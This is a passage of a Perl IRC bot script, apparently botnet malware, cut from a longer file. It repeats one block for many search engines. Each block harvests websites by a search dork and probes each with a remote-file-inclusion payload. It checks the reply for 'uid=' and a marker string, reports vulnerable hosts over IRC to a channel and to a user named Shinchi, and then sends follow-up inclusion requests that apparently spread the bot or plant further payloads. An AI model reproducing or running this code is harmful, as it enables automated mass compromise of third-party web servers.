  629. #################### GOOGLE
  630. ######################################################################
  631. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  632. if (my $pid = fork) {
  633. waitpid($pid, 0);
  634. } else {
  635. if (fork) {
  636. exit;
  637. } else {
  638. my $bug=$1;
  639. my $dork=$2;
  640. my $contatore=0;
  641. my %hosts;
  642. ### Start Message
  643.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Memulai]8,18,113,6[1Scan]11,10[1Untuk]8,113,6[1Bug]13,1 $bug 9,1DaN10,1 $dork");
  644. ### End of Start Message
  645. # Starting The Search Engine
  646.     my @google=&googlet($dork);
  647. #
  648. push(my @tot, @google);
  649. #
  650. my @puliti=&unici(@tot);
  651.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1GoOglE]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  652. my $uni=scalar(@puliti);
  653. foreach my $sito (@puliti)
  654. {
  655. $contatore++;
  656. if ($contatore %100==0){
  657. }
  658. if ($contatore==$uni-1){
  659.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1GoOgLe]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  660. }
  661. ### Print CMD and TEST CMD###
  662. my $test="http://".$sito.$bug.$id."?";
  663. my $print="http://".$sito.$bug.$cmd."?";
  664. ### End of Print CMD and TEST CMD###
  665. my $req=HTTP::Request->new(GET=>$test);
  666. my $ua=LWP::UserAgent->new();
  667. $ua->timeout(5);
  668. my $response=$ua->request($req);
  669. if ($response->is_success) {
  670. my $re=$response->content;
  671. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  672. my $hs=geths($print); $hosts{$hs}++;
  673. if($hosts{$hs}=="1"){
  674. $x=os($test);
  675. ($type,$space)=split(/\,/,$x);
  676.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1GoOglE]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  677.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :13Vuln:9,1 $print");
  678. my $test2="http://".$sito.$bug.$spread."?";
  679. my $reqz=HTTP::Request->new(GET=>$test2);
  680. my $ua=LWP::UserAgent->new();
  681. my $response=$ua->request($reqz);
  682. my $cinta="http://".$sito.$bug.$perawan."?";
  683. my $kasih=HTTP::Request->new(GET=>$cinta);
  684. my $ua=LWP::UserAgent->new();
  685. my $response=$ua->request($kasih);
  686. }}
  687. elsif($re =~ /AnakDompu/)
  688. {
  689. my $hs=geths($print); $hosts{$hs}++;
  690. if($hosts{$hs}=="1"){
  691. $x=os($test);
  692. ($type,$space)=split(/\,/,$x);
  693.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1GoOgLe]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  694. my $test2="http://".$sito.$bug.$idku."?";
  695. my $reqz=HTTP::Request->new(GET=>$test2);
  696. my $ua=LWP::UserAgent->new();
  697. my $response=$ua->request($reqz);
  698. }}
  699. }}}
  700. exit;
  701. }}
  702.  
  703. ######################################################################
  704. #################### AllTheWeb
  705. ######################################################################
  706. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  707. if (my $pid = fork) {
  708. waitpid($pid, 0);
  709. } else {
  710. if (fork) {
  711. exit;
  712. } else {
  713. my $bug=$1;
  714. my $dork=$2;
  715. my $contatore=0;
  716. my %hosts;
  717. # Starting The Search Engine
  718.     my @alltheweb=&allthewebt($dork);
  719.     my @allweb=&standard($dork);
  720. #
  721. push(my @tot, @alltheweb, @allweb);
  722. #
  723. my @puliti=&unici(@tot);
  724.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1AllTheWeb]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]12,1 $dork");
  725. my $uni=scalar(@puliti);
  726. foreach my $sito (@puliti)
  727. {
  728. $contatore++;
  729. if ($contatore %100==0){
  730. }
  731. if ($contatore==$uni-1){
  732.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1AllTheWeb]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  733. }
  734. ### Print CMD and TEST CMD###
  735. my $test="http://".$sito.$bug.$id."?";
  736. my $print="http://".$sito.$bug.$cmd."?";
  737. ### End of Print CMD and TEST CMD###
  738. my $req=HTTP::Request->new(GET=>$test);
  739. my $ua=LWP::UserAgent->new();
  740. $ua->timeout(5);
  741. my $response=$ua->request($req);
  742. if ($response->is_success) {
  743. my $re=$response->content;
  744. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  745. my $hs=geths($print); $hosts{$hs}++;
  746. if($hosts{$hs}=="1"){
  747. $x=os($test);
  748. ($type,$space)=split(/\,/,$x);
  749.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1AllTheWeb]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  750.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  751. my $test2="http://".$sito.$bug.$spread."?";
  752. my $reqz=HTTP::Request->new(GET=>$test2);
  753. my $ua=LWP::UserAgent->new();
  754. my $response=$ua->request($reqz);
  755. my $cinta="http://".$sito.$bug.$perawan."?";
  756. my $kasih=HTTP::Request->new(GET=>$cinta);
  757. my $ua=LWP::UserAgent->new();
  758. my $response=$ua->request($kasih);
  759. }}
  760. elsif($re =~ /AnakDompu/)
  761. {
  762. my $hs=geths($print); $hosts{$hs}++;
  763. if($hosts{$hs}=="1"){
  764. $x=os($test);
  765. ($type,$space)=split(/\,/,$x);
  766.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1AllTheWeb]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  767. my $test2="http://".$sito.$bug.$idku."?";
  768. my $reqz=HTTP::Request->new(GET=>$test2);
  769. my $ua=LWP::UserAgent->new();
  770. my $response=$ua->request($reqz);
  771. }}
  772. }}}
  773. exit;
  774. }}
  775.  
  776. ######################################################################
  777. #################### LYCOS
  778. ######################################################################
  779. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  780. if (my $pid = fork) {
  781. waitpid($pid, 0);
  782. } else {
  783. if (fork) {
  784. exit;
  785. } else {
  786. my $bug=$1;
  787. my $dork=$2;
  788. my $contatore=0;
  789. my %hosts;
  790. # Starting The Search Engine
  791.     my @lylist=&lycos($dork);
  792. push(my @lybyp,@lylist);
  793. #
  794. push(my @tot, @lybyp);
  795. my @puliti=&unici(@tot);
  796.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1LyCoS]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  797. my $uni=scalar(@puliti);
  798. foreach my $sito (@puliti)
  799. {
  800. $contatore++;
  801. if ($contatore %100==0){
  802. }
  803. if ($contatore==$uni-1){
  804.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1LyCoS]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  805. }
  806. ### Print CMD and TEST CMD###
  807. my $test="http://".$sito.$bug.$id."?";
  808. my $print="http://".$sito.$bug.$cmd."?";
  809. ### End of Print CMD and TEST CMD###
  810. my $req=HTTP::Request->new(GET=>$test);
  811. my $ua=LWP::UserAgent->new();
  812. $ua->timeout(5);
  813. my $response=$ua->request($req);
  814. if ($response->is_success) {
  815. my $re=$response->content;
  816. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  817. my $hs=geths($print); $hosts{$hs}++;
  818. if($hosts{$hs}=="1"){
  819. $x=os($test);
  820. ($type,$space)=split(/\,/,$x);
  821.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1LyCoS]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  822.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  823. my $test2="http://".$sito.$bug.$spread."?";
  824. my $reqz=HTTP::Request->new(GET=>$test2);
  825. my $ua=LWP::UserAgent->new();
  826. my $response=$ua->request($reqz);
  827. my $cinta="http://".$sito.$bug.$perawan."?";
  828. my $kasih=HTTP::Request->new(GET=>$cinta);
  829. my $ua=LWP::UserAgent->new();
  830. my $response=$ua->request($kasih);
  831. }}
  832. elsif($re =~ /AnakDompu/)
  833. {
  834. my $hs=geths($print); $hosts{$hs}++;
  835. if($hosts{$hs}=="1"){
  836. $x=os($test);
  837. ($type,$space)=split(/\,/,$x);
  838.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1LyCoS]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  839. my $test2="http://".$sito.$bug.$idku."?";
  840. my $reqz=HTTP::Request->new(GET=>$test2);
  841. my $ua=LWP::UserAgent->new();
  842. my $response=$ua->request($reqz);
  843. }}
  844. }}}
  845. exit;
  846. }}
  847.  
  848. ######################################################################
  849. #################### Yahoo
  850. ######################################################################
  851. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  852. if (my $pid = fork) {
  853. waitpid($pid, 0);
  854. } else {
  855. if (fork) {
  856. exit;
  857. } else {
  858. my $bug=$1;
  859. my $dork=$2;
  860. my $contatore=0;
  861. my %hosts;
  862. # Starting The Search Engine
  863.     my @ylist=&yahoo($dork);
  864.     my @yalist=&yahooa($dork);
  865.     my @yblist=&yahoob($dork);
  866.     my @yclist=&yahooc($dork);
  867.     my @ydlist=&yahood($dork);
  868.         push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist, @ydlist );
  869. #
  870. push(my @tot, @yahoobypass);
  871. my @puliti=&unici(@tot);
  872.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1YaHoO]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  873. my $uni=scalar(@puliti);
  874. foreach my $sito (@puliti)
  875. {
  876. $contatore++;
  877. if ($contatore %100==0){
  878. }
  879. if ($contatore==$uni-1){
  880.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1YaHoO]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  881. }
  882. ### Print CMD and TEST CMD###
  883. my $test="http://".$sito.$bug.$id."?";
  884. my $print="http://".$sito.$bug.$cmd."?";
  885. ### End of Print CMD and TEST CMD###
  886. my $req=HTTP::Request->new(GET=>$test);
  887. my $ua=LWP::UserAgent->new();
  888. $ua->timeout(5);
  889. my $response=$ua->request($req);
  890. if ($response->is_success) {
  891. my $re=$response->content;
  892. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  893. my $hs=geths($print); $hosts{$hs}++;
  894. if($hosts{$hs}=="1"){
  895. $x=os($test);
  896. ($type,$space)=split(/\,/,$x);
  897.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1YaHoO]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  898.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  899. my $test2="http://".$sito.$bug.$spread."?";
  900. my $reqz=HTTP::Request->new(GET=>$test2);
  901. my $ua=LWP::UserAgent->new();
  902. my $response=$ua->request($reqz);
  903. my $cinta="http://".$sito.$bug.$perawan."?";
  904. my $kasih=HTTP::Request->new(GET=>$cinta);
  905. my $ua=LWP::UserAgent->new();
  906. my $response=$ua->request($kasih);
  907. }}
  908. elsif($re =~ /AnakDompu/)
  909. {
  910. my $hs=geths($print); $hosts{$hs}++;
  911. if($hosts{$hs}=="1"){
  912. $x=os($test);
  913. ($type,$space)=split(/\,/,$x);
  914.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1YaHoO]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  915. my $test2="http://".$sito.$bug.$idku."?";
  916. my $reqz=HTTP::Request->new(GET=>$test2);
  917. my $ua=LWP::UserAgent->new();
  918. my $response=$ua->request($reqz);
  919. }}
  920. }}}
  921. exit;
  922. }}
  923.  
  924. ######################################################################
  925. #################### MSN
  926. ######################################################################
  927. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  928. if (my $pid = fork) {
  929. waitpid($pid, 0);
  930. } else {
  931. if (fork) {
  932. exit;
  933. } else {
  934. my $bug=$1;
  935. my $dork=$2;
  936. my $contatore=0;
  937. my %hosts;
  938. # Starting The Search Engine
  939.     my @mlist=&msn($dork);
  940. push(my @tot, @mlist);
  941. my @puliti=&unici(@tot);
  942.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1MSN]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  943. my $uni=scalar(@puliti);
  944. foreach my $sito (@puliti)
  945. {
  946. $contatore++;
  947. if ($contatore %100==0){
  948. }
  949. if ($contatore==$uni-1){
  950.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1MSN]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  951. }
  952. ### Print CMD and TEST CMD###
  953. my $test="http://".$sito.$bug.$id."?";
  954. my $print="http://".$sito.$bug.$cmd."?";
  955. ### End of Print CMD and TEST CMD###
  956. my $req=HTTP::Request->new(GET=>$test);
  957. my $ua=LWP::UserAgent->new();
  958. $ua->timeout(5);
  959. my $response=$ua->request($req);
  960. if ($response->is_success) {
  961. my $re=$response->content;
  962. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  963. my $hs=geths($print); $hosts{$hs}++;
  964. if($hosts{$hs}=="1"){
  965. $x=os($test);
  966. ($type,$space)=split(/\,/,$x);
  967.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1MSN]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  968.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  969. my $test2="http://".$sito.$bug.$spread."?";
  970. my $reqz=HTTP::Request->new(GET=>$test2);
  971. my $ua=LWP::UserAgent->new();
  972. my $response=$ua->request($reqz);
  973. my $cinta="http://".$sito.$bug.$perawan."?";
  974. my $kasih=HTTP::Request->new(GET=>$cinta);
  975. my $ua=LWP::UserAgent->new();
  976. my $response=$ua->request($kasih);
  977. }}
  978. elsif($re =~ /AnakDompu/)
  979. {
  980. my $hs=geths($print); $hosts{$hs}++;
  981. if($hosts{$hs}=="1"){
  982. $x=os($test);
  983. ($type,$space)=split(/\,/,$x);
  984.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1MSN]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  985. my $test2="http://".$sito.$bug.$idku."?";
  986. my $reqz=HTTP::Request->new(GET=>$test2);
  987. my $ua=LWP::UserAgent->new();
  988. my $response=$ua->request($reqz);
  989. }}
  990. }}}
  991. exit;
  992. }}
  993.  
  994. ######################################################################
  995. #################### SEARCH
  996. ######################################################################
  997. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  998. if (my $pid = fork) {
  999. waitpid($pid, 0);
  1000. } else {
  1001. if (fork) {
  1002. exit;
  1003. } else {
  1004. my $bug=$1;
  1005. my $dork=$2;
  1006. my $contatore=0;
  1007. my %hosts;
  1008. # Starting The Search Engine
  1009.     my @slist=&search($dork);
  1010. push(my @tot, @slist);
  1011. my @puliti=&unici(@tot);
  1012.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Search]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  1013. my $uni=scalar(@puliti);
  1014. foreach my $sito (@puliti)
  1015. {
  1016. $contatore++;
  1017. if ($contatore %100==0){
  1018. }
  1019. if ($contatore==$uni-1){
  1020.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1Search]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  1021. }
  1022. ### Print CMD and TEST CMD###
  1023. my $test="http://".$sito.$bug.$id."?";
  1024. my $print="http://".$sito.$bug.$cmd."?";
  1025. ### End of Print CMD and TEST CMD###
  1026. my $req=HTTP::Request->new(GET=>$test);
  1027. my $ua=LWP::UserAgent->new();
  1028. $ua->timeout(5);
  1029. my $response=$ua->request($req);
  1030. if ($response->is_success) {
  1031. my $re=$response->content;
  1032. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  1033. my $hs=geths($print); $hosts{$hs}++;
  1034. if($hosts{$hs}=="1"){
  1035. $x=os($test);
  1036. ($type,$space)=split(/\,/,$x);
  1037.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Search]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  1038.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  1039. my $test2="http://".$sito.$bug.$spread."?";
  1040. my $reqz=HTTP::Request->new(GET=>$test2);
  1041. my $ua=LWP::UserAgent->new();
  1042. my $response=$ua->request($reqz);
  1043. my $cinta="http://".$sito.$bug.$perawan."?";
  1044. my $kasih=HTTP::Request->new(GET=>$cinta);
  1045. my $ua=LWP::UserAgent->new();
  1046. my $response=$ua->request($kasih);
  1047. }}
  1048. elsif($re =~ /AnakDompu/)
  1049. {
  1050. my $hs=geths($print); $hosts{$hs}++;
  1051. if($hosts{$hs}=="1"){
  1052. $x=os($test);
  1053. ($type,$space)=split(/\,/,$x);
  1054.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1Search]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  1055. my $test2="http://".$sito.$bug.$idku."?";
  1056. my $reqz=HTTP::Request->new(GET=>$test2);
  1057. my $ua=LWP::UserAgent->new();
  1058. my $response=$ua->request($reqz);
  1059. }}
  1060. }}}
  1061. exit;
  1062. }}
  1063.  
  1064. ######################################################################
  1065. #################### FireBall
  1066. ######################################################################
  1067. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  1068. if (my $pid = fork) {
  1069. waitpid($pid, 0);
  1070. } else {
  1071. if (fork) {
  1072. exit;
  1073. } else {
  1074. my $bug=$1;
  1075. my $dork=$2;
  1076. my $contatore=0;
  1077. my %hosts;
  1078. # Starting The Search Engine
  1079.     my @fireball=fireball($dork);
  1080. push(my @tot, @fireball);
  1081. my @puliti=&unici(@tot);
  1082.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1FireBall]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  1083. my $uni=scalar(@puliti);
  1084. foreach my $sito (@puliti)
  1085. {
  1086. $contatore++;
  1087. if ($contatore %100==0){
  1088. }
  1089. if ($contatore==$uni-1){
  1090.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1FireBall]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  1091. }
  1092. ### Print CMD and TEST CMD###
  1093. my $test="http://".$sito.$bug.$id."?";
  1094. my $print="http://".$sito.$bug.$cmd."?";
  1095. ### End of Print CMD and TEST CMD###
  1096. my $req=HTTP::Request->new(GET=>$test);
  1097. my $ua=LWP::UserAgent->new();
  1098. $ua->timeout(5);
  1099. my $response=$ua->request($req);
  1100. if ($response->is_success) {
  1101. my $re=$response->content;
  1102. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  1103. my $hs=geths($print); $hosts{$hs}++;
  1104. if($hosts{$hs}=="1"){
  1105. $x=os($test);
  1106. ($type,$space)=split(/\,/,$x);
  1107.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1FireBall]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  1108.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  1109. my $test2="http://".$sito.$bug.$spread."?";
  1110. my $reqz=HTTP::Request->new(GET=>$test2);
  1111. my $ua=LWP::UserAgent->new();
  1112. my $response=$ua->request($reqz);
  1113. my $cinta="http://".$sito.$bug.$perawan."?";
  1114. my $kasih=HTTP::Request->new(GET=>$cinta);
  1115. my $ua=LWP::UserAgent->new();
  1116. my $response=$ua->request($kasih);
  1117. }}
  1118. elsif($re =~ /AnakDompu/)
  1119. {
  1120. my $hs=geths($print); $hosts{$hs}++;
  1121. if($hosts{$hs}=="1"){
  1122. $x=os($test);
  1123. ($type,$space)=split(/\,/,$x);
  1124.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1FireBall]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  1125. my $test2="http://".$sito.$bug.$idku."?";
  1126. my $reqz=HTTP::Request->new(GET=>$test2);
  1127. my $ua=LWP::UserAgent->new();
  1128. my $response=$ua->request($reqz);
  1129. }}
  1130. }}}
  1131. exit;
  1132. }}
  1133.  
  1134. ######################################################################
  1135. #################### UOL
  1136. ######################################################################
  1137. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  1138. if (my $pid = fork) {
  1139. waitpid($pid, 0);
  1140. } else {
  1141. if (fork) {
  1142. exit;
  1143. } else {
  1144. my $bug=$1;
  1145. my $dork=$2;
  1146. my $contatore=0;
  1147. my %hosts;
  1148. # Starting The Search Engine
  1149.     my @ulist=&uol($dork);
  1150. push(my @tot, @ulist);
  1151. my @puliti=&unici(@tot);
  1152.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1UOL]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  1153. my $uni=scalar(@puliti);
  1154. foreach my $sito (@puliti)
  1155. {
  1156. $contatore++;
  1157. if ($contatore %100==0){
  1158. }
  1159. if ($contatore==$uni-1){
  1160.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1UOL]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  1161. }
  1162. ### Print CMD and TEST CMD###
  1163. my $test="http://".$sito.$bug.$id."?";
  1164. my $print="http://".$sito.$bug.$cmd."?";
  1165. ### End of Print CMD and TEST CMD###
  1166. my $req=HTTP::Request->new(GET=>$test);
  1167. my $ua=LWP::UserAgent->new();
  1168. $ua->timeout(5);
  1169. my $response=$ua->request($req);
  1170. if ($response->is_success) {
  1171. my $re=$response->content;
  1172. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  1173. my $hs=geths($print); $hosts{$hs}++;
  1174. if($hosts{$hs}=="1"){
  1175. $x=os($test);
  1176. ($type,$space)=split(/\,/,$x);
  1177.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1UOL]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  1178.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  1179. my $test2="http://".$sito.$bug.$spread."?";
  1180. my $reqz=HTTP::Request->new(GET=>$test2);
  1181. my $ua=LWP::UserAgent->new();
  1182. my $response=$ua->request($reqz);
  1183. my $cinta="http://".$sito.$bug.$perawan."?";
  1184. my $kasih=HTTP::Request->new(GET=>$cinta);
  1185. my $ua=LWP::UserAgent->new();
  1186. my $response=$ua->request($kasih);
  1187. }}
  1188. elsif($re =~ /AnakDompu/)
  1189. {
  1190. my $hs=geths($print); $hosts{$hs}++;
  1191. if($hosts{$hs}=="1"){
  1192. $x=os($test);
  1193. ($type,$space)=split(/\,/,$x);
  1194.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1UOL]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  1195. my $test2="http://".$sito.$bug.$idku."?";
  1196. my $reqz=HTTP::Request->new(GET=>$test2);
  1197. my $ua=LWP::UserAgent->new();
  1198. my $response=$ua->request($reqz);
  1199. }}
  1200. }}}
  1201. exit;
  1202. }}
  1203.  
  1204. ######################################################################
  1205. #################### ALTAVISTA
  1206. ######################################################################
  1207. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  1208. if (my $pid = fork) {
  1209. waitpid($pid, 0);
  1210. } else {
  1211. if (fork) {
  1212. exit;
  1213. } else {
  1214. my $bug=$1;
  1215. my $dork=$2;
  1216. my $contatore=0;
  1217. my %hosts;
  1218. # Starting The Search Engine
  1219.     my @alist=&altavista($dork);
  1220.     my @ablist=&altavistade($dork);
  1221.     my @aclist=&altavistaus($dork);
  1222. push(my @tot, @alist,@ablist,@aclist);
  1223. my @puliti=&unici(@tot);
  1224.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Altavista]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  1225. my $uni=scalar(@puliti);
  1226. foreach my $sito (@puliti)
  1227. {
  1228. $contatore++;
  1229. if ($contatore %100==0){
  1230. }
  1231. if ($contatore==$uni-1){
  1232.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1Altavista]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  1233. }
  1234. ### Print CMD and TEST CMD###
  1235. my $test="http://".$sito.$bug.$id."?";
  1236. my $print="http://".$sito.$bug.$cmd."?";
  1237. ### End of Print CMD and TEST CMD###
  1238. my $req=HTTP::Request->new(GET=>$test);
  1239. my $ua=LWP::UserAgent->new();
  1240. $ua->timeout(5);
  1241. my $response=$ua->request($req);
  1242. if ($response->is_success) {
  1243. my $re=$response->content;
  1244. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  1245. my $hs=geths($print); $hosts{$hs}++;
  1246. if($hosts{$hs}=="1"){
  1247. $x=os($test);
  1248. ($type,$space)=split(/\,/,$x);
  1249.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Altavista]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  1250.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  1251. my $test2="http://".$sito.$bug.$spread."?";
  1252. my $reqz=HTTP::Request->new(GET=>$test2);
  1253. my $ua=LWP::UserAgent->new();
  1254. my $response=$ua->request($reqz);
  1255. my $cinta="http://".$sito.$bug.$perawan."?";
  1256. my $kasih=HTTP::Request->new(GET=>$cinta);
  1257. my $ua=LWP::UserAgent->new();
  1258. my $response=$ua->request($kasih);
  1259. }}
  1260. elsif($re =~ /AnakDompu/)
  1261. {
  1262. my $hs=geths($print); $hosts{$hs}++;
  1263. if($hosts{$hs}=="1"){
  1264. $x=os($test);
  1265. ($type,$space)=split(/\,/,$x);
  1266.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1Altavista]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  1267. my $test2="http://".$sito.$bug.$idku."?";
  1268. my $reqz=HTTP::Request->new(GET=>$test2);
  1269. my $ua=LWP::UserAgent->new();
  1270. my $response=$ua->request($reqz);
  1271. }}
  1272. }}}
  1273. exit;
  1274. }}
  1275.  
  1276. ######################################################################
  1277. #################### HOTBOT
  1278. ######################################################################
  1279. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  1280. if (my $pid = fork) {
  1281. waitpid($pid, 0);
  1282. } else {
  1283. if (fork) {
  1284. exit;
  1285. } else {
  1286. my $bug=$1;
  1287. my $dork=$2;
  1288. my $contatore=0;
  1289. my %hosts;
  1290. # Starting The Search Engine
  1291.     my @hlist=&hotbot($dork);
  1292.     my @hlistb=&hotbotb($dork);
  1293. push(my @tot, @hlist, @hlistb);
  1294. my @puliti=&unici(@tot);
  1295.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1HotBot]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  1296. my $uni=scalar(@puliti);
  1297. foreach my $sito (@puliti)
  1298. {
  1299. $contatore++;
  1300. if ($contatore %100==0){
  1301. }
  1302. if ($contatore==$uni-1){
  1303.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1HotBot]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  1304. }
  1305. ### Print CMD and TEST CMD###
  1306. my $test="http://".$sito.$bug.$id."?";
  1307. my $print="http://".$sito.$bug.$cmd."?";
  1308. ### End of Print CMD and TEST CMD###
  1309. my $req=HTTP::Request->new(GET=>$test);
  1310. my $ua=LWP::UserAgent->new();
  1311. $ua->timeout(5);
  1312. my $response=$ua->request($req);
  1313. if ($response->is_success) {
  1314. my $re=$response->content;
  1315. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  1316. my $hs=geths($print); $hosts{$hs}++;
  1317. if($hosts{$hs}=="1"){
  1318. $x=os($test);
  1319. ($type,$space)=split(/\,/,$x);
  1320.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1HotBot]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  1321.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
